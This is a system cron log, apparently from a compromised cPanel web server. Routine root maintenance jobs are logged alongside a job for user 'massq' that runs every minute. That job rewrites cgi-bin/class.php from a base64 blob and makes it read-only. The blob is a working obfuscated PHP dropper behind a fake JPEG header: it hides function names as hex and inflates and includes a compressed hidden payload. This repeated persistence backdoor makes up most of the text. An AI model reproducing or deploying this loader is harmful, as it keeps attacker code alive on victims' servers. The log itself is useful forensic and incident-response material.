Nov 10 16:32:01 server CROND[16790]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:33:01 server CROND[17530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:34:01 server CROND[18435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:35:01 server CROND[19418]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:35:01 server CROND[19419]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 16:35:01 server CROND[19424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:35:01 server CROND[19423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:35:01 server CROND[19422]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 16:36:01 server CROND[20301]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:37:01 server CROND[21145]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:38:01 server CROND[21625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:39:01 server CROND[22447]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 16:39:01 server CROND[22448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:40:01 server CROND[23377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:40:01 server CROND[23378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:40:01 server CROND[23381]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 16:40:01 server CROND[23382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:41:01 server CROND[24174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:42:01 server CROND[25015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:42:01 server CROND[25016]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 16:43:01 server CROND[25850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:44:01 server CROND[26475]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
